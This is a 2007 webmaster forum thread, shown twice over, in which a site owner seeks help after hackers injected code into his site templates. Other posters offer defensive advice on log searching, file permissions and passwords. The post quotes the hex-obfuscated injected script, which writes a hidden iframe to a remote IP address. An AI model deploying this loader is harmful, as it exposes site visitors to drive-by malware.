We need to talk SECURITY!!! NOW!!

The Professional · November 29th, 2007, 10:27 AM

So I wake up this morning.... give my eyes a wipe and stumble over to my desktop only to find that all 6 of my live sites have been hacked. The hacker placed javascript code in all the mainpage templates that ST uses... and also place code in the toplists that EPT uses on 4 of the sites (I had already made my ATX toplists chmod 444 from the last hack)

So WTF is the deal here boys. Make me understand why I just had to take his fucking code out of all my sites... and chmod every template I have to 444 so that even when I want to overwrite it I have to ftp in and change it first?

ST is a common script between all sites... as is Linkex

I'm getting sick and fucking tired or this bullshit! I've been waking up to my sites being hacked for a month now it seems.

The script looks something like this: (I've edit the tags to make sure it doesn't run)

<//script//> var s='3C696672616D65207372633D22687474703A2F2F3230332 E3132312E36392E392F65782F7374617469632E70687022207 7696474683D32206865696768743D32207374796C653D22646 973706C61793A6E6F6E65223E3C2F696672616D653E'; var o=''; for(i=0;i<s.length;i=i+2) { var c=String.fromCharCode(37); o=o+c+s.substr(i,2);} document.write(unescape(o)); <//script//>

any guru's that can help I would greatly apprecaite it. I wanna find out who this fucker is and hang him by his balls..... just like the good old days where you would img src the shit out of whoever fucked you over... it's time this business become self regulating again.

FrozenJag · November 29th, 2007, 10:29 AM

Just a suggestion. Make your sites a little less know in the public.

Might help, but might not. Couldnt hurt is what im saying.

Jakke PNG · November 29th, 2007, 10:45 AM

Quote:

Originally Posted by FrozenJag

Just a suggestion. Make your sites a little less know in the public.

Might help, but might not. Couldnt hurt is what im saying.

Heheheh.. I thought the ENTIRE business model is to make your site as known to the public as possible?

Therapy · November 29th, 2007, 10:53 AM

12 months in the future.........Daily Traffic 1 (hit) (yes that was me) But I never got hacked.

On a serious note, Sorry to hear it happen again, going to 444 all my templates now and change passwords again.

JACOBKELL · November 29th, 2007, 11:18 AM

Quote:

Originally Posted by FrozenJag

Just a suggestion. Make your sites a little less know in the public.

Might help, but might not. Couldnt hurt is what im saying.

Actualy i would dare to say it's better to make site more public especialy in webmaster community beacuse then other webmasters can see errors which maybe you missed.

FrozenJag · November 29th, 2007, 11:40 AM

Quote:

Originally Posted by TeenGodFather

Heheheh.. I thought the ENTIRE business model is to make your site as known to the public as possible?

Your talking paysites I assume?

I was talking tgp/mgp.

And by "public" I meant boards and shit. Not the average surfer.

FrozenJag · November 29th, 2007, 11:41 AM

Quote:

Originally Posted by JACOBKELL

Actualy i would dare to say it's better to make site more public especialy in webmaster community beacuse then other webmasters can see errors which maybe you missed.

Im just saying I know for a fact that many cheaters and other people up to no good scan adx and other boards daily.

If somebody is looking for a site to experiment on wouldnt you think it would be easiest to hit a random post, pull up the site in somebodies sig, and fuck with it?

I see your point aswell though, thats why I would hit up a few buddies and have them check things out for me.

Jakke PNG · November 29th, 2007, 11:42 AM

Quote:

Originally Posted by FrozenJag

Your talking paysites I assume?

I was talking tgp/mgp.

So am I. You're trying to keep your free sites so nobody knows about them?
How are you making money off those? I know MY goal with my free sites is to get as many people visiting those as I can.

Jakke PNG · November 29th, 2007, 11:43 AM

Ahh. You mean don't let other webmasters know what sites you run?

FrozenJag · November 29th, 2007, 11:44 AM

Quote:

Originally Posted by TeenGodFather

Ahh. You mean don't let other webmasters know what sites you run?

Yeah, mainly cheaters.

I have a webmaster page where other webmasters can find it through them surfing my site from another trade, etc.

But if I flew my webmaster page in my sig it would then become and easy target for cheaters/hackers to fuck with.
I just dont like taking the chance and I know others have to agree.

I wasnt meaning to bash anyone or anything. Its just how I do things.

The Professional · November 29th, 2007, 12:00 PM

Just as an update.... my host (Spudstr over at yellowfiber) says nobody got in through ftp or ssh...

can anyone clarify for me any other methods that someone could use to get my passwords to the scripts? I dont' know how else they could change the templates?

I understand your guys point about the publicity... I've removed my sites from my sig... espeically at gfy

rowan · November 29th, 2007, 12:01 PM

Are you on a managed box?

Is your OS, Apache, PHP etc upgraded to the latest version?

Are you using a control panel which may also need to be upgraded?

What other third party scripts exist on this box? If you've had it for a while, think back to scripts that you may not use any more, but are still located on the server.

Fuckin Bill · November 29th, 2007, 12:52 PM

Quote:

Originally Posted by The Professional

Just as an update.... my host (Spudstr over at yellowfiber) says nobody got in through ftp or ssh...

can anyone clarify for me any other methods that someone could use to get my passwords to the scripts? I dont' know how else they could change the templates?

I understand your guys point about the publicity... I've removed my sites from my sig... espeically at gfy

My guess is that they slipped another php file in somewhere and they're using it to edit files.

Also check all your password files on the server. ST uses htaccess and htpasswd. Look at the htpasswd in a text editor, there should be only 1 user and password there, YOU. If there's anything else, delete it. Check any other script that sets passwords the same way. Just because the script doesn't show another user doesn't mean that file wasn't edited.

If you know how to use grep, check your logs for the filename that was modified. If they used a script to modify it, there will probably be a query string in your logs somewhere with like ?file=toplisttemplate.html Try searching the logs for "=" and the name of your templates, you might find what they used to modify it.

rowan · November 29th, 2007, 01:16 PM

Quote:

Originally Posted by Fuckin Bill

My guess is that they slipped another php file in somewhere and they're using it to edit files.

grepping the access log for the string "POST /" may also help provide some initial clues - if their script uses a POST form to command it then it should show up. (Note that legitimate scripts such as AT and ST may also show here, just disregard entries with your own IP)

It may also be possible to write a script to figure out objects that are fetched by a very small number of IPs (ie not surfers)

Therapy · November 29th, 2007, 01:16 PM

ST and ATX have a 'file check' option, this will find any suspicious files in the script's install directories.

JD · November 29th, 2007, 01:23 PM

change ALL passwords on that box. atx/st/ssh/ftp/etc everything.

worked for me when my hosts weren't able to figure it out :/

Papillon · November 29th, 2007, 04:11 PM

Uggg sorry to hear this.

Let us know if you uncover anything suspicious.

steveo · November 29th, 2007, 05:45 PM

Being someone who trades with you I'm curious as well what you uncover! Be sure to keep us all updated. And sorry to hear it happened to you man.

The Professional · November 29th, 2007, 08:06 PM

I will keep you guys posted for sure.... still looking into things.... I will post my findings

CastleOfXXX · November 29th, 2007, 08:49 PM

mine was index.php , which overrides my index.shtml the hacker added this file and used it to update my template to whatever they wanted.i use ST and Sloth and both i am sure are fully secure this is some other way of getting in.Change all passwords as advised , and best of luck !

November 29th, 2007, 10:27 AM	#1 (permalink)
The Professional I like money Join Date: Nov 2006 Location: Canada Posts: 1,505	We need to talk SECURITY!!! NOW!! So I wake up this morning.... give my eyes a wipe and stumble over to my desktop only to find that all 6 of my live sites have been hacked. The hacker placed javascript code in all the mainpage templates that ST uses... and also place code in the toplists that EPT uses on 4 of the sites (I had already made my ATX toplists chmod 444 from the last hack) So WTF is the deal here boys. Make me understand why I just had to take his fucking code out of all my sites... and chmod every template I have to 444 so that even when I want to overwrite it I have to ftp in and change it first? ST is a common script between all sites... as is Linkex I'm getting sick and fucking tired or this bullshit! I've been waking up to my sites being hacked for a month now it seems. The script looks something like this: (I've edit the tags to make sure it doesn't run) <//script//> var s='3C696672616D65207372633D22687474703A2F2F3230332 E3132312E36392E392F65782F7374617469632E70687022207 7696474683D32206865696768743D32207374796C653D22646 973706C61793A6E6F6E65223E3C2F696672616D653E'; var o=''; for(i=0;i<s.length;i=i+2) { var c=String.fromCharCode(37); o=o+c+s.substr(i,2);} document.write(unescape(o)); <//script//> any guru's that can help I would greatly apprecaite it. I wanna find out who this fucker is and hang him by his balls..... just like the good old days where you would img src the shit out of whoever fucked you over... it's time this business become self regulating again. __________________ Just got done Beta Testing GFCash v2.0 - Check the Stats I had in the last 2 weeks of March! BOOM!!!

November 29th, 2007, 10:29 AM	#2 (permalink)
FrozenJag Ball til I Fall Join Date: Nov 2006 Location: US Posts: 5,441	Just a suggestion. Make your sites a little less know in the public. Might help, but might not. Couldnt hurt is what im saying. __________________ hmmmm...

November 29th, 2007, 10:53 AM	#4 (permalink)
Therapy mooo00000 Join Date: Jun 2006 Location: Europe Posts: 750	12 months in the future.........Daily Traffic 1 (hit) (yes that was me) But I never got hacked. On a serious note, Sorry to hear it happen again, going to 444 all my templates now and change passwords again. __________________ AJS Interactive Traffic Trades & Advertising Enquires

November 29th, 2007, 11:43 AM	#9 (permalink)
Jakke PNG ex-TeenGodFather Join Date: Oct 2005 Posts: 1,971	Ahh. You mean don't let other webmasters know what sites you run? __________________ PornGreen v3 - Epass & Revupcard payments Hairy * Pissing * Voyeurs * Redheads * Goth * Big tits * Lesbians * Masturbation * BBW $15 signup + $15 rebills

November 29th, 2007, 01:23 PM	#16 (permalink)
JD I'm on a boat bitch Join Date: Jan 2006 Location: Funky Town Posts: 8,402	change ALL passwords on that box. atx/st/ssh/ftp/etc everything. worked for me when my hosts weren't able to figure it out :/ __________________ Paysite Designs - TGP Designs - Blog Designs Yellow Fiber 4 Life - Rule The SERPS - I'm On a Boat icq: 265808340 \| aim: mrsicks Get Top 5 Google Rankings In Under 30 Days

November 29th, 2007, 12:00 PM	#11 (permalink)
The Professional I like money Join Date: Nov 2006 Location: Canada Posts: 1,505	Just as an update.... my host (Spudstr over at yellowfiber) says nobody got in through ftp or ssh... can anyone clarify for me any other methods that someone could use to get my passwords to the scripts? I dont' know how else they could change the templates? I understand your guys point about the publicity... I've removed my sites from my sig... espeically at gfy

November 29th, 2007, 12:01 PM	#12 (permalink)
rowan Serious Contributor Join Date: Nov 2005 Posts: 8,627	Are you on a managed box? Is your OS, Apache, PHP etc upgraded to the latest version? Are you using a control panel which may also need to be upgraded? What other third party scripts exist on this box? If you've had it for a while, think back to scripts that you may not use any more, but are still located on the server.

November 29th, 2007, 01:16 PM	#15 (permalink)
Therapy mooo00000 Join Date: Jun 2006 Location: Europe Posts: 750	ST and ATX have a 'file check' option, this will find any suspicious files in the script's install directories.

November 29th, 2007, 04:11 PM	#17 (permalink)
Papillon Serious Contributor Join Date: Oct 2007 Location: Brisbane, Australia Posts: 920	Uggg sorry to hear this. Let us know if you uncover anything suspicious. __________________

November 29th, 2007, 05:45 PM	#18 (permalink)
steveo Traffic Guru Join Date: Jun 2007 Location: Florida Posts: 424	Being someone who trades with you I'm curious as well what you uncover! Be sure to keep us all updated. And sorry to hear it happened to you man. __________________

November 29th, 2007, 08:06 PM	#19 (permalink)
The Professional I like money Join Date: Nov 2006 Location: Canada Posts: 1,505	I will keep you guys posted for sure.... still looking into things.... I will post my findings

November 29th, 2007, 08:49 PM	#20 (permalink)
CastleOfXXX Porn Rules Join Date: Dec 2005 Location: Oregon , USA Posts: 299	mine was index.php , which overrides my index.shtml the hacker added this file and used it to update my template to whatever they wanted.i use ST and Sloth and both i am sure are fully secure this is some other way of getting in.Change all passwords as advised , and best of luck ! __________________